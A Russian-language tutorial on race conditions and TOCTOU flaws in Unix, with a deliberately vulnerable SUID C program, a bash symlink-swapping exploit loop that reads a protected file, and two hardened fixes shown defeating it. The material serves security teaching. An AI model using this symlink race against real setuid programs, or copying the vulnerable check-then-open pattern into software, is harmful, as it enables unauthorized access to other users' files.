Общие моменты

Состояние гонки — ошибка, допущенная при разработки программы, приводящая к нежелательному поведению данной программы в процессе её исполнения из-за временных задержек в работе.

Краткое описание в соответствии с CWE-362:

Программа содержит последовательность кода, который может исполняться параллельно с другим кодом и требует временный исключительный доступ к разделяемому (shared) ресурсу, однако существует временное окно, в котором этот разделяемый ресурс может быть изменён другой последовательностью кода, исполняемой параллельно.

Нежелательное поведение программы может проявляться в виде:

  • Несанкционированного получения доступа к разделяемому объекту;
  • Нарушение целостности разделяемого объекта, с которым работает программа;
  • Вызов отказа в обслуживании программы.

Для появления подобной ошибки при исполнении программы необходимо наличие в ней следующих свойств:

  • Совместно используемый (разделяемый, shared) объект, далее — объект гонки. Например, файл;
  • Параллельные (конкурирующие) потоки исполнения (execution flows):
    • Процессы (запущенные экземпляры программ / процессы-потомки одного родительского процесса);
    • Потоки (параллельные потоки одного процесса);
  • Изменение состояния объекта гонки одним из потоков исполнения.

Виды состояний гонки:

  • TOCTOU (Time-of-Check Time-of-Use) — возможность изменения состояния объекта гонки между моментом проверки возможности доступа и собственно моментом доступа.
  • Deadlock — ситуация, являющаяся следствием неправильной синхронизации, при которой параллельные потоки исполнения не могут получить доступ к объекту гонки, ожидая друг друга.
  • Состояния гонки, связанные с созданием файлов (в т.ч. временных) — возможность подменить создаваемый программой файл другим/удалить этот файл.

Также пригодится и такое понятие, как «окно гонки» — участок кода программы, во время которого возможно стороннее (другим процессом/потоком, «обогнавшим» основной) изменение объекта гонки. Практически — временное окно.

Обнаружение

Проявляется при выполнении операций файлового ввода/вывода (а файловый ввод-вывод в *nix весьма распространён — UNIX-way же).

Сложность обнаружения и исправления подобных ошибок может быть различной (зависит от реализации программы, вида состояния гонки и т.д.). Но особенность именно этого класса ошибок в том, что они не являются детерминированными, их сложнее воспроизвести (получить проявление при каждом запуске программы) — следовательно, сложнее исправить.

Несмотря на то, что такие ошибки являются сложными для обнаружения, существуют подходы для того, чтобы узнать, подвержена ли та или иная программа ошибкам данного класса:

  • Статическое тестирование (анализ исходного кода):
    • Использование характерных шаблонов, приводящих к появлению окна гонки (например, последовательность для проверки доступа к файлу и последующему доступу к нему вида «stat() … fopen()» без контроля привилегий, которая может привести к TOCTOU гонке, или «неправильное» создание файла (без контроля того, существует ли этот файл до создания или нет) либо создание файла с предсказуемым именем в общедоступной папке (например, в /tmp));
    • При наличии синхронизации параллельных потоков исполнения — проверка на правильность реализованной синхронизации (возможность deadlock’а).
  • Динамическое тестирование:
    • Метод «белого ящика»
    • Метод «чёрного ящика»

Проверка на наличие состояния гонки в программе может производиться как в ручном, так и в автоматическом режимах: существуют программы, которые с различной долей успеха справляются с этой задачей (но об этом — в одной из следующих статей).

Устранение

Логично предположить, что состояние гонки сводится на нет при отсутствии одного из свойств программы, приводящих к подобной ошибке:

  • Наличие объекта гонки;
  • Существование параллельных потоков исполнения той же программы;
  • Возможность изменения состояния объекта гонки одним из потоков исполнения.

Обычно упор делается на устранение последнего свойства. Реализуется это с помощью различных т.н. примитивов синхронизации (synchronization primitives), как то:

  • Mutex’ы — для синхронизации потоков
  • Семафоры — для синхронизации процессов
  • Блокировка с помощью файла
  • Конвейеры (pipe)
  • Другие

TOCTOU race conditions в *nix-системах

Краткое описание в соответствии с CWE-367:

Программа проверяет состояние ресурса перед его использованием, но его состояние может измениться между проверкой и использованием таким образом, что это сводит на нет результаты проверки. Это может привести к тому, что программа будет производить недействительные действия, когда ресурс находится в непредвиденном состоянии.

Источники

Может возникнуть как между доверенными (потоки/процессы-наследники одной программы), так и между недоверенными (сторонний процесс) потоками исполнения. В данном случае окном гонки является промежуток между моментами проверки (check) и использования (use), отсюда и название: Time-of-Check Time-of-Use (TOCTOU).

Обнаружение

Можно выявить по исходному коду: например (для файлового ввода-вывода в программе, написанной на языке C), если проверка доступа к файлу для текущего пользования производится с помощью функций access(), fstat() или lstat() для файлового ввода-вывода (не вкупе, но об этом позже), а затем открытие этого файла — с помощью функции open() или fopen(). Также играет свою роль и использование функций для работы с файлом, использующих для обращения к файлу его символьное имя вместо аналогичных им, использующих дескриптор файла, полученный при его открытии с помощью функции open() (при наличии таковых аналогов):

  • chown() —> fchown()
  • chmod() —> fchmod()
  • stat() —> fstat()

Подобных аналогов не имееют следующие функции (соответственно, использовать их следует более осторожно при возможности возникновения состояния гонки, т.е. во время «Time of Use»):

  • link() и unlink()
  • mkdir() и rmdir()
  • mount() и unmount()
  • lstat()
  • mknod()
  • symlink()
  • utime()

Также важно, чтобы программа имела привилегии и другого пользователя (иначе гонка бессмысленна (естественно, с позиции получения несанкционированного доступа): программа в любом случае будет действовать с привелегиями текущего пользователя), например, иметь SUID/SGID бит в режиме доступа.

Эксплуатация

Как видно из перечисления источников возникновения, проэксплуатировать данную уязвимость можно с помощью стороннего процесса (т.е., запустить другую программу, которая повлияет на данную).

Для примера рассмотрим простейшую программу, имеющую следующий исходный код:

TOCTOU_example.c

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

void fail(const char *msg) {
	printf("%s", msg);
	exit(1);
}

int printFileContents(int fd) {
	char *file = NULL;
	struct stat file_stat;

	fstat(fd, &file_stat);

	if ((file = malloc(file_stat.st_size)) == NULL)
		fail("malloc() failed!\n");
	
	if (read(fd, file,file_stat.st_size) != file_stat.st_size)
		fail("read() failed!\n");
	
	printf("%s\n", file);
}

int main(int argc, char *argv[]) {

	int fd;
	
	if (argc < 2) {
		printf("Usage: %s <file to read>\n", argv[0]);
		exit(1);
	}
	
	if (!access(argv[1],R_OK)) {
		printf("R_OK is passed!\n");

		if ((fd = open(argv[1], O_RDONLY)) == -1)
			fail("open() failed\n");
		else
			printFileContents(fd);
	}
	else
		fail("R_OK is NOT passed!\n");

	return 0;
}

Моментом проверки здесь будет являться вызов access(), моментом использования — вызов open().

Пусть в системе существует пользователь admin, имеющий доступ для чтения файла dataz.txt в папке /home/admin/test/ и являющегося владельцем программы toctou_example (находящейся в той же папке).

Также в системе существует и пользователь tester (не входящий в группу admin), который может запускать программу toctou_example, но не имеющий никаких прав доступа к файлу dataz.txt.

demo_pt1

admin@kali:~/test$ cat dataz.txt 
this file contain sum dataz

admin@kali:~/test$ ./toctou_example dataz.txt 
R_OK is passed!
this file contain sum dataz

admin@kali:~/test$


tester@kali:~/test$ ls /home/admin/
total 4
drwxr-xr-x 2 admin admin 4096 Jul 22 05:37 test

tester@kali:~/test$ ls /home/admin/test/
total 20
-rw-r----- 1 admin admin   27 Jul 22 05:37 dataz.txt
-rw-r--r-- 1 admin admin  811 Jul 22 05:37 secure_example.c
-rwsr-xr-x 1 admin admin 6223 Jul 22 05:37 toctou_example
-rw-r--r-- 1 admin admin  811 Jul 22 05:37 toctou_example.c

tester@kali:~/test$ cat /home/admin/test/dataz.txt 
cat: /home/admin/test/dataz.txt: Permission denied

tester@kali:~/test$ /home/admin/test/toctou_example 
Usage: /home/admin/test/toctou_example <file to read>

tester@kali:~/test$ /home/admin/test/toctou_example /home/admin/test/dataz.txt 
R_OK is NOT passed!

tester@kali:~/test$ ls
total 4
-rwxr-x--- 1 tester tester 141 Jul 22 06:45 exploit.sh
-rw-r--r-- 1 tester tester	16 Jul 22 05:42 mytextfile.txt

tester@kali:~/test$ cat mytextfile.txt 
some dummy text

tester@kali:~/test$ /home/admin/test/toctou_example mytextfile.txt 
R_OK is passed!
some dummy text

tester@kali:~/test$

Для данного примера подойдёт атака с помощью символьной ссылки (symlink, далее (для краткости) — симлинк). Проверка на основе вызова access() не проверяет, является ли указанный файл симлинком или нет, а просто «переходит» по нему (т.е. работает с файлом, на который ссылается этот симлинк).

TOCTOU_example_exploit.sh

#!/bin/bash
while true
do
/home/admin/test/toctou_example pointer &
ln -fs mytextfile pointer
ln -fs /home/admin/test/dataz.txt pointer
done

Данный скрипт работает следующим образом: в бесконечном цикле запускается программа (в фоновом режиме), в качестве файла для чтения которой передаётся симлинк с именем pointer (создаётся при первом вызове ln), который в том же цикле поочерёдно переключается то на целевой файл (dataz.txt), то на наш файл (mytextfile.txt).

demo_pt2

tester@kali:~/test$ ./exploit.sh 
R_OK is NOT passed!
R_OK is NOT passed!
R_OK is NOT passed!
some dummy text

R_OK is NOT passed!
R_OK is NOT passed!
R_OK is NOT passed!
R_OK is NOT passed!
----------[snip]----------
R_OK is passed!
this file contain sum dataz
R_OK is NOT passed!
R_OK is NOT passed!
R_OK is NOT passed!
R_OK is NOT passed!
R_OK is passed!
this file contain sum dataz
^C
tester@kali:~/test$

Пример «переключения»:

demo_pt3

tester@kali:~/test$ ls
total 8
-rwxr-x--- 1 tester tester 141 Jul 22 06:45 exploit.sh
-rw-r--r-- 1 tester tester  16 Jul 22 05:42 mytextfile.txt
lrwxrwxrwx 1 tester tester  10 Jul 22 07:56 pointer -> mytextfile

----------[snip]----------

tester@kali:~/test$ ls
total 8
-rwxr-x--- 1 tester tester 141 Jul 22 06:45 exploit.sh
-rw-r--r-- 1 tester tester  16 Jul 22 05:42 mytextfile.txt
lrwxrwxrwx 1 tester tester  26 Jul 22 07:56 pointer -> /home/admin/test/dataz.txt

Таким образом, после нескольких попыток запуска программы (не переставая переключать симлинк) пользователь tester получил желаемое — содержимое файла dataz.txt, не имея к нему доступ для чтения.

Пути устранения

Для борьбы с атакой, использующей симлинк, можно использовать для проверки функцию lstat(), которая, в отличие от fstat(), проверяет сам симлинк, а не файл, на который тот ссылается. Но данная мера, пусть и решает проблему с симлинком, всё равно оставляет открытым окно гонки.

Для сужения окна гонки при воздействии недоверенных потоков исполнения (т.е. внешних процессов, как в нашем примере) будет использование более сложной проверки, например, комбинирование функций lstat() и fstat(), как в следующем примере (изменим код функции main() из toctou_example.c):

secure_main_function_#1.c

int main(int argc, char *argv[]) {

        int fd;

        if (argc < 2) {
                printf("Usage: %s <file to read>\n", argv[0]);
                exit(1);
        }

        struct stat lst, fst;
        if (lstat(argv[1], &lst) == -1)
                fail("lstat() failed\n");
        if ((fd = open(argv[1], O_EXCL | O_RDONLY, 0600)) == -1)
                fail("open() failed\n");
        if (fstat (fd, &fst) == -1)
                fail("fstat() failed\n");
        if (lst.st_mode == fst.st_mode &&
            lst.st_ino == fst.st_ino &&
            lst.st_dev == fst.st_dev)
                printFileContents(fd);
        else
                fail("Check is NOT passed!\n");

        return 0;
}

Т.о. сначала, с помощью функции lstat() получаем данные о файле (файл это или симлинк; при этом используется символьное имя файла), затем, с помощью функции fstat() получаем данные о файле (уже переходя по симлинку, если таковой имеется; при этом используется файловый дескриптор), и наконец, полученные данные сравниваются по следующим полям (использованы лишь несколько полей, чтобы узнать полный список, можно обратиться к man stat(2)):

  • st_mode — тип файла (например, симлинк или текстовый файл);
  • st_ino — inode — индексный дескриптор — порядковый номер файла в таблице дескрипторов;
  • st_dev — устройство, на котором находится файл.

Попробуем применить предыдущий эксплоит уже к данной программе:

demo_pt4

tester@kali:~/test$ sed -i "s/toctou/secure1/ig" exploit.sh

tester@kali:~/test$ cat exploit.sh
#!/bin/bash
while true
do
/home/admin/test/secure1_example pointer &
ln -fs mytextfile pointer
ln -fs /home/admin/test/dataz.txt pointer
done

tester@kali:~/test$ ./exploit.sh
open() failed
open() failed
Check is NOT passed!
open() failed
open() failed
open() failed
open() failed
----------[snip]----------
Check is NOT passed!
open() failed
Check is NOT passed!
open() failed
open() failed
open() failed
^C
tester@kali:~/test$

Ещё одним из способов устранения возможности эксплуатации является отключение SUID/SGID бита либо (если нет такой возможности) сброса (перед выполнением проверки) привелегий до привелегий пользователя, запустившего программу (т.е. атакующего), что, как было сказано ранее, сделает гонку бессмысленной для атакующего (но не для доверенных потоков исполнения):

secure_main_function_#2.c

int main(int argc, char *argv[]) {

        int fd;

        if (argc < 2) {
                printf("Usage: %s <file to read>\n", argv[0]);
                exit(1);
        }

        setuid(getuid());
        setgid(getgid());

        if (!access(argv[1],R_OK)) {
                printf("R_OK is passed!\n");

                if ((fd = open(argv[1], O_EXCL | O_RDONLY)) == -1)
                        fail("open() failed\n");
                else
                        printFileContents(fd);
        }
        else
                fail("R_OK is NOT passed!\n");

        return 0;
}

Проверим на этот раз:

demo_pt5

tester@kali:~/test$ sed -i "s/secure1/secure2/ig" exploit.sh

tester@kali:~/test$ cat exploit.sh
#!/bin/bash
while true
do
/home/admin/test/secure2_example pointer &
ln -fs mytextfile pointer
ln -fs /home/admin/test/dataz.txt pointer
done

tester@kali:~/test$ ./exploit.sh
R_OK is passed!
some dummy text

R_OK is passed!
some dummy text

R_OK is passed!
open() failed
----------[snip]----------
R_OK is NOT passed!
R_OK is NOT passed!
R_OK is passed!
some dummy text

R_OK is passed!
some dummy text

^C
tester@kali:~/test$

Также для сужения окна гонки при дальнейшей работе с открытым файлом предпочтительно использование дескриптора файла вместо символьного имени файла. Но данная мера работает, опять-таки, при воздействии внешних процессов, т.к. при вызове fork() (функция для создания дочернего процесса) таблица дескрипторов родительского процесса в состоянии на момент вызова копируется в соответствующую таблицу процесса-потомка, что может привести к состояниям гонки между родительским процессом и процессами-потомками (и, соответственно, между самими процессами-потомками).

P. S.

  • Некоторые источники включают в список параллельных потоков исполнения также и т.н. задачи (tasks). В данной статье они не включены в данный список, т.к. для *nix-систем это понятие синонимично процессу (см. в Wikipedia (en) и на StackOverflow).
  • В реальных проектах состояния гонки такого вида (TOCTOU) проявлялись, например, в KDE 3/4 (CVE-2010-0436, подробнее здесь), в системах для составления отчёта об ошибках программ Apport (Ubuntu) и Abrt (Fedora) (CVE-2015-1318 и CVE-2015-1862 соответственно, подробнее здесь) или в самом ядре linux (CVE-2014-0196, подробнее здесь) и т.д.